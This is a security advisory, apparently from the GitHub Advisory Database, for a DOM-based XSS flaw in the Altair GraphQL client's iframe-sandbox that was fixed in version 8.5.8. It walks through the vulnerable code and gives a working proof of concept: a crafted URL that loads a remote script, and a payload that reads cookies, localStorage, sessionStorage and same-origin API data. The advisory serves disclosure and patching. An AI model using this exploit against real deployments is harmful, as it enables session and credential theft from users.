altair-static
Affected
- introduced
7.2.4, fixed8.5.8(semver)
Fixed versions
8.5.8
Fix
- Fixed version
8.5.8npm install [email protected]
Advisory
Also known as: CVE-2026-110802
Altair: DOM-based XSS via attacker-controlled script URLs in the iframe sandbox
Summary
Altair 8.5.7 accepts plugin configuration directly from the iframe-sandbox query string.
When plugin_sandbox_opts contains type: "scripts" and an attacker-controlled URL in scriptUrls, the sandbox page creates a classic <script src="..."> element and loads the supplied script.
In the intended plugin flow, this page runs inside an <iframe sandbox="allow-scripts"> without allow-same-origin, giving plugin code an opaque origin. However, if a victim opens the crafted sandbox URL directly, that iframe isolation is absent and the attacker-controlled script executes in the origin serving Altair, resulting in DOM-based cross-site scripting (XSS) / arbitrary JavaScript execution in the Altair hosting origin.
Exploitation requires the victim to open a crafted URL.
Details
The sandbox reads its configuration directly from window.location.search.
In packages/altair-iframe-sandbox/src/main.ts:
const searchParams = new URLSearchParams(window.location.search);
const sandboxType = searchParams.get('sandbox_type');
switch (sandboxType) {
case 'plugin':
handlePluginSandbox();
break;
}
handlePluginSandbox() then parses plugin_sandbox_opts:
const searchParams = new URLSearchParams(window.location.search);
const pluginSandboxOptsStr = searchParams.get('plugin_sandbox_opts');
const pluginSandboxOpts = pluginSandboxOptsStr
? (JSON.parse(pluginSandboxOptsStr) as PluginParentWorkerOptions)
: undefined;
The relevant validation only checks the plugin type:
if (pluginSandboxOpts.type !== 'scripts') {
throw new Error('Invalid plugin option type provided!');
}
Values from scriptUrls are then passed to injectScript():
if (pluginSandboxOpts.scriptUrls) {
for (const script of pluginSandboxOpts.scriptUrls) {
await injectScript(script);
}
}
The sink in packages/altair-core/src/utils/inject.ts is:
const script = document.createElement('script');
script.type = 'text/javascript';
script.src = url;
head.appendChild(script);
The intended parent flow relies on browser iframe sandboxing:
// NOTE: Don't add allow-same-origin to the sandbox attribute!
iframe.sandbox.add('allow-scripts');
Direct navigation to the sandbox URL does not have this parent iframe sandbox, so the injected script runs in the normal hosting origin.
The official middleware also clears CSP for paths identified as iframe-sandbox. This is not the root cause, but reduces the chance that a deployment-level CSP will block attacker-controlled external scripts when the default middleware behavior is used.
PoC
The following PoC is intentionally benign and demonstrates JavaScript execution in the Altair hosting origin.
mkdir altair-local-test
cd altair-local-test
npm init -y
npm i [email protected] [email protected] [email protected] [email protected]
Create server.js:
const express = require("express");
const { altairExpress } = require("altair-express-middleware");
const { createHandler } = require("graphql-http/lib/use/express");
const { buildSchema } = require("graphql");
const app = express();
const schema = buildSchema(`
type Query {
hello: String
}
`);
const root = {
hello: () => "world",
};
app.all(
"/api/graphql",
createHandler({
schema,
rootValue: root,
})
);
app.use(
"/graphql",
altairExpress({
endpointURL: "/api/graphql",
initialQuery: "{ hello }",
})
);
app.listen(4000, () => {
console.log("Altair UI: http://localhost:4000/graphql/");
console.log("Sandbox: http://localhost:4000/graphql/iframe-sandbox/");
});
Run:
node server.js
Host the following as poc.js on a domain you control:
document.body.textContent = "";
const h1 = document.createElement("h1");
h1.textContent = "Altair iframe-sandbox PoC";
const p = document.createElement("p");
p.textContent = "Script executed in: " + window.location.origin;
document.body.append(h1, p);
Create build-poc-url.js:
const opts = {
id: "local-poc",
type: "scripts",
scriptUrls: ["http://127.0.0.1:8000/poc.js"],
styleUrls: []
};
const url =
"http://localhost:4000/graphql/iframe-sandbox/" +
"?sandbox_type=plugin&plugin_sandbox_opts=" +
encodeURIComponent(JSON.stringify(opts));
console.log(url);
Run:
node build-poc-url.js
This prints a fully encoded URL similar to:
http://localhost:4000/graphql/iframe-sandbox/?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D
http://localhost:4000/graphql/iframe-sandbox/?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D
Some deployments also accept:
http://localhost:4000/graphql/iframe-sandbox/index.html?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D
The page creates:
<script type="text/javascript" src="http://127.0.0.1:8000/poc.js"></script>
The script displays:
Script executed in: http://localhost:4000
This confirms that attacker-controlled scriptUrls reaches script.src and executes in the deployment origin when the page is opened outside the intended sandboxed iframe.
The following routes are only part of the local test environment and are not Altair functionality.
Add:
app.get("/login-demo", (req, res) => {
res.setHeader("Set-Cookie", [
"visible_token=demo-visible-token-123; Path=/; SameSite=Lax",
"http_only_session=demo-http-only-session-456; Path=/; HttpOnly; SameSite=Lax",
]);
res.send(`
<h1>Demo login</h1>
<script>
localStorage.setItem("altair_demo_token", "localStorage-secret-789");
sessionStorage.setItem("altair_demo_session", "sessionStorage-secret-abc");
</script>
<p>Now open the iframe-sandbox PoC URL.</p>
`);
});
app.get("/api/me-demo", (req, res) => {
res.json({
user: "demo-user",
role: "admin-demo",
privateData: "same-origin-api-data",
authenticated: Boolean(req.headers.cookie),
});
});
Visit /login-demo, then open the crafted sandbox URL in the same origin using:
async function main() {
const api = await fetch("/api/me-demo").then((res) => res.json());
document.body.textContent = "";
const pre = document.createElement("pre");
pre.textContent = JSON.stringify(
{
origin: location.origin,
cookie: document.cookie,
localStorage: localStorage.getItem("altair_demo_token"),
sessionStorage: sessionStorage.getItem("altair_demo_session"),
sameOriginApi: api,
},
null,
2
);
document.body.appendChild(pre);
}
main();Medium Basis: The source's own band: MODERATE
7.2.4, fixed 8.5.8 (semver)8.5.8
8.5.8npm install [email protected]7.2.4, fixed 8.5.8 (semver)8.5.8
8.5.8npm install [email protected]7.2.4, fixed 8.5.8 (semver)8.5.8
8.5.8npm install [email protected]7.2.4, fixed 8.5.8 (semver)8.5.8
8.5.8npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0